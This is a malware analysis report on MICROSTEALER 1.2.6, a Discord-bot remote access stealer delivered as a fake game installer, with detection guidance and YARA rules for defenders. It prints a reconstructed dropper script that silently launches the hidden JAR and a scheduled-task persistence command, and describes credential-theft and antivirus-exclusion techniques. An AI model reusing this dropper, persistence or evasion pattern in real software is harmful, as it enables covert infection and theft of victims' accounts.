MICROSTEALER 1.2.6: a Discord-bot RAT in a game’s clothing

Anyone who ran it should assume the operator could control the machine, and rebuild it.

Note Source summary. My own static analysis of the 1.2.6 installer and its Java payload, recovered by two methods that agree on the command surface, persistence and branding, plus instrumented lab runs against an emulated Discord server (reliability A, credibility 2: two methods on the same file corroborate each other but aren’t independent sources; see How I rate things). Public reporting from ANY.RUN and BleepingComputer victims for the family name, graded under References. It’s the second of three builds served by the BRITTLE COMPASS lure.

From the lure to a game that never opens #

Same site, same password, same download button as the 1.2.5 build. This time the installer, <game>-Setup-1.2.6.exe, is 117 MB, and it installs into a random-looking folder, %LOCALAPPDATA%\Programs\jw431rd9\, while the installer’s own screens show the game’s name throughout. Anyone hunting for a folder named after the game misses every one of these machines.

The victim double-clicks the game. Nothing happens. A report of “I ran it and nothing happened” is an accurate description of this build: no window, no error, nothing. Half a second later the Electron process exits, and the malware is already running somewhere else.

Staging: an Electron app that is only a delivery truck #

The application’s app.asar contains exactly two files: a package.json and one obfuscated script, y8e2alfn.js. A real game has hundreds of files in there. Under roughly 190 KB of two obfuscation layers (obfuscator.io inside JS-Confuser), the script does one job. Reconstructed by hand, with every string decoded:

// y8e2alfn.js, reconstructed. The original is ~190 KB of obfuscation around this.
async function main() {
  const base     = app.isPackaged ? process.resourcesPath : __dirname;
  const localApp = process.env.LOCALAPPDATA;
  const stage    = path.join(localApp, "java");                 // %LOCALAPPDATA%\java
  fs.cpSync(path.join(base, "java"), path.join(stage, "java"),   // a whole Java 17 runtime
            { recursive: true, force: true });
  fs.copyFileSync(path.join(base, "services.jar"),               // the actual malware
                  path.join(stage, "services.jar"));
  spawn(path.join(stage, "java", "bin", "javaw.exe"),
        ["-jar", path.join(stage, "services.jar")],
        { detached: true, stdio: "ignore", cwd: stage }).unref();
  setTimeout(() => app.quit(), 500);                             // and the "game" closes
}
app.whenReady().then(main);

(formatted for readability)

So the installer ships a complete Eclipse Temurin 17 runtime (316 files) and an 11.9 MB services.jar, copies both into %LOCALAPPDATA%\java\, and starts the JAR with javaw.exe, which has no console window.

The runtime looks like a stock upstream build. Across both early installers there are 145 Windows executables: 101 are validly signed and verify, none has a broken signature, and the other 44 are unsigned, among them the branded Electron executable and the installer’s own uninstaller stub. None is packed, and I found no operator-compiled native code among them. Signature, packer and import-table triage alone won’t point at the malicious part, which is in the script and the JAR. Manifest changes and where things are put still help (the 1.2.5 page publishes a manifest-based rule).

What a defender can catch here: javaw.exe running from \AppData\Local\java\java\bin\ is the best process signal I have for this build. Java installed the normal way doesn’t use that path, though other software could, so confirm against the JAR’s hash.

Inside services.jar #

The JAR is an obfuscated Kotlin/Java application. Its bundled libraries tell you its job before you decompile anything: Gson for Discord’s API, SQLite JDBC for browser databases, nv-websocket-client for the Discord gateway, OkHttp for Discord’s REST API, and JNA for calling Windows directly.

Three layers of obfuscation sit on top: method calls hidden behind invokedynamic and resolved at runtime from encrypted metadata, AES-CBC string encryption under a PBKDF2-derived key, and control-flow flattening. Driving the obfuscator’s own resolver resolved 11,224 of 11,384 hidden call sites and decrypted 636 strings, including the kit’s branding:

=========<Micro Stealer>==========
Micro Special Edition
DEV7 GANG
zarox-uac   zarox-uac2   zarox-unlock   MicroPrivate-Mutex-Release   Win32-InputLogger

That branding is how the family is tracked publicly: ANY.RUN lists a MicroStealer family ^[1], though its page aggregates many submissions and I haven’t matched this exact sample to any of them, and victims on BleepingComputer report a “DEV7 GANG” pop-up asking whether they want their accounts back ^[2].

One more string matters more than the branding. 3,108 of the JAR’s 3,112 class files, third-party libraries included, carry the text MicroFlow 4.0 as their first constant-pool entry. Nothing references it. That looks like a builder watermark, stamped by whatever tool assembled the JAR. It’s a useful pivot for finding other output of the same builder, even without shared infrastructure, but it isn’t a guaranteed identifier of every product of that builder or of its author. I found no public obfuscator by that name.

The payload also refuses to run in some sandboxes: it checks for a QEMU guest agent and for a list of known analysis-service host names.

First run: checking in on Discord #

When the JAR starts, it logs into Discord as a bot, using a bot credential packaged inside the JAR, with the gateway intents for reading messages (33280) and a client identity of java. Then it creates a text channel for this victim on the operator’s server, under a fixed category, named after the victim:

<username>-<hostname>        Windows user and computer name, lowercased (lab)

The new channel gets a “System Online (New Channel Created)” message and the full command panel (below). Then the payload collects and ships its first haul, to two places at once:

• a Discord webhook, and
• a Cloudflare Worker relay, sa.microdenmem.workers[.]dev, under a path built from a licence identifier packaged in the JAR, of the form license-<14 digits>-<4 hex>.

A licence-keyed path lets one relay keep many users’ stolen data apart. That fits a kit sold to many customers, which is part of the moderate-confidence commercial-tooling assessment on the actor page. The path itself doesn’t prove a sale.

It does all of this again every time it starts, not just the first time.

What a defender can catch here: javaw.exe connecting to gateway.discord.gg on a normal endpoint, and the HTTP user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) DiscordBot (Java/17). Uploads use the multipart boundary xMicro.

What it takes automatically #

Less than you’d guess. In the lab, with files planted across every user folder, the automatic collector took a screenshot, browser history and only .txt files from Desktop, Documents and Downloads. It left .env, .pem, .ppk, .ovpn, .rdp, .kdbx, spreadsheets and source code alone, and took nothing from Pictures, Music or Videos.

That’s a real scoping point, with one big caveat: the operator’s !cmd shell can fetch any file the payload’s privileges can reach afterwards, so a machine the operator actually used is not cleared by it.

I found no wallet collector in this build, statically or in the lab. Its report template does have a “Wallets” counter that nothing feeds, so it always reads zero. That could be a leftover from an earlier version, an unfinished or disabled feature, or a copied template; I can’t tell which without code to compare.

Its credential theft is broad: 30 Chromium-family and 15 Gecko-family browsers, Discord tokens lifted from the running client’s memory, and Chrome’s App-Bound Encryption beaten by impersonating lsass.exe to get SYSTEM and calling the CNG key store directly. It kills the browser before copying its databases.

Staying: a scheduled task for every later logon #

The first run doesn’t wait for anything: the dropper starts the JAR immediately. That first run also creates a scheduled task so it starts again at every later logon:

schtasks /create /tn "App_<username>"
  /tr "\"%LOCALAPPDATA%\java\java\bin\javaw.exe\" -jar \"%LOCALAPPDATA%\java\services.jar\""
  /sc ONLOGON /delay 0000:05 /rl HIGHEST /f

(formatted for readability)

This is the detail that fools triage. After a reboot, with nobody logged in, the payload isn’t running: no process, no network traffic, and the task shows no pending run. A machine in that state looks clean to anyone checking the process list. The moment a user signs in, it fires, re-collects and re-announces itself to the operator. Check the scheduled task, not the process list.

Two more artifacts are useful on a live machine:

• %TEMP%\micro_run.lock is the single-instance lock. It stays after the process exits, so it means “has run”, not “is running”.
• In the lab, each start extracted a fresh copy of the SQLite library to %TEMP%\sqlite-3.45.1.0-<GUID>-sqlitejdbc.dll and never deleted it. Several copies are a supporting sign of repeated runs, not an exact count: other Java software uses the same library and name, and cleanup or failed starts change the tally. Correlate the DLL’s hash and timestamps with process events.

The operator’s panel #

This is what the operator sees in each victim’s channel, captured verbatim from the payload’s own help output. The descriptions are the operator’s wording; the right-hand column is what each command did to a real Windows host in the lab, checked against the registry, file system, scheduled tasks and Defender configuration rather than taken from the payload’s reply.

A few things in there deserve a second look.

!inject lies. It reported “Discord injected and logged out” on a machine with no Discord. The operator’s channel is not evidence of what happened on the machine, and that includes channel history obtained from Discord later. Confirm effects on the host.

!cookie is a loader. It downloads and runs another program after excluding the whole local application data folder from Microsoft Defender. Combined with !cmd and !wp, the operator has three ways to put new software on the machine.

Turkish command names. botkapat (“close bot”), komutlar (“commands”) and sıfırlama (“reset”) sit next to English help text. I assess with low confidence that the kit’s author works in Turkish. Command names are cheap to copy and a kit sold internationally would look the same, so this is context, not attribution.

The ransomware is real but manual. It only runs when the operator types !micro with a passphrase, and the key is derived from that passphrase. Victims of .cryptedmicro encryption have been getting help in a BleepingComputer support topic ^[2].

Detection and response #

To confirm this build, check for the scheduled task App_<username> running javaw.exe -jar from %LOCALAPPDATA%\java\. It’s the most reliable indicator, and it’s there even when nothing is running. A Defender exclusion covering %LOCALAPPDATA% is consistent with the operator’s !cookie command, which adds that exclusion before downloading another program. Other software, an administrator or an earlier infection could set the same exclusion, and the download can fail after it’s set. Before concluding !cookie ran, correlate Defender’s configuration-change events, process ancestry, a %LOCALAPPDATA%\svchost<digits>.exe file and network activity.

If it’s there, or if it might have run, do these now, in order:

1. Take the machine off the network. If files have been renamed to .cryptedmicro, keep it powered on and preserve them.
2. From a different, clean device, sign out every session using each provider’s own controls, then change passwords: email first, then Discord, then everything saved in the browser. A password change doesn’t reliably end existing sessions.
3. On Discord, from that clean device, sign out every session, then remove and re-enroll two-factor so a new secret is issued.
4. Rebuild the machine. This build supports remote commands, a Defender exclusion and three ways to download and run more software, so removing the original malware can’t establish that the machine is clean. That’s the response posture; whether the operator actually used the shell on this machine is a separate question that only host or network evidence answers.
5. If a rebuild has to wait, remove persistence explicitly: end javaw.exe, delete the task, delete %LOCALAPPDATA%\java\, re-enable Task Manager, Registry Editor and Windows recovery, remove the Defender exclusion, and uninstall Discord with its data deleted. Uninstalling the “game” isn’t enough, because the installer leaves a full copy of itself at %LOCALAPPDATA%\*-updater\installer.exe.

Across an estate, sweep for modified Discord clients (see the 1.2.5 page) and hunt for Electron apps that ship a private Java runtime next to a JAR. That combination is unusual; treat a hit as a lead and confirm with hashes.

YARA #

Each rule matched its target. They have not been tested against a broad benign corpus; tune before production use. The watermark rules only work on expanded JARs or process memory, because the classes are compressed on disk.

rule MICROSTEALER_Services_Jar
{
    meta:
        description = "MICROSTEALER services.jar, by ZIP entry names (stored uncompressed): obfuscated root package plus the licence and category resources"
        sha256 = "034c9ac2fae38e38838e6dab23648b4e0b46ec73176bc12eb3147a10ba41add6"
    strings:
        $pkg = "lIiiIiIlill/" ascii
        $l   = "a/b/l.txt" ascii
        $m   = "a/b/m.txt" ascii
    condition:
        uint32(0) == 0x04034B50 and all of them
}

rule MICROFLOW_Builder_Watermark_Class
{
    meta:
        description = "'MicroFlow 4.0' builder watermark as constant-pool entry #1 of a Java class. Identifies the builder, not this operator"
    strings:
        $wm = { 01 00 17 4D 69 63 72 6F 46 6C 6F 77 20 34 2E 30 20 20 20 20 20 20 20 20 20 20 }
    condition:
        uint32be(0) == 0xCAFEBABE and $wm at 10
}

rule MICROSTEALER_Branding_Memory
{
    meta:
        description = "MICROSTEALER self-identifying strings. Encrypted on disk; matches javaw.exe memory, memory images and stolen-data staging files"
    strings:
        $b1 = "=========<Micro Stealer>==========" ascii
        $b2 = "Micro Special Edition" ascii
        $b3 = ".cryptedmicro" ascii
        $b4 = "boundary=xMicro" ascii
        $b5 = "DEV7 GANG" ascii
        $b6 = "zarox-uac" ascii
        $b7 = "zarox-unlock" ascii
        $b8 = "micro_run.lock" ascii
        $b9 = "MicroPrivate-Mutex-Release" ascii
    condition:
        2 of them
}

rule MICROSTEALER_Discord_Injection_Dropped
{
    meta:
        description = "The readable JavaScript MICROSTEALER writes over discord_desktop_core\\index.js"
    strings:
        $a = "Micro Special Edition" ascii
        $b = "remote-auth-gateway.discord.gg" ascii
        $c = "savedTotpSecret" ascii
        $d = "require('./core.asar')" ascii
        $e = "/mfa/codes-verification" ascii
    condition:
        filesize < 4MB and 3 of them
}

Indicators #

ATT&CK mapping #

References #

1. ANY.RUN, “MicroStealer” malware trends page. any.run (opens in a new tab) (B2 for the family label; not a match to this sample)
2. BleepingComputer forums, “Stealer Ransomware Plugin-Dev7 Gang (.cryptedmicro) Support Topic”. bleepingcomputer.com (opens in a new tab) (F3: victim reports)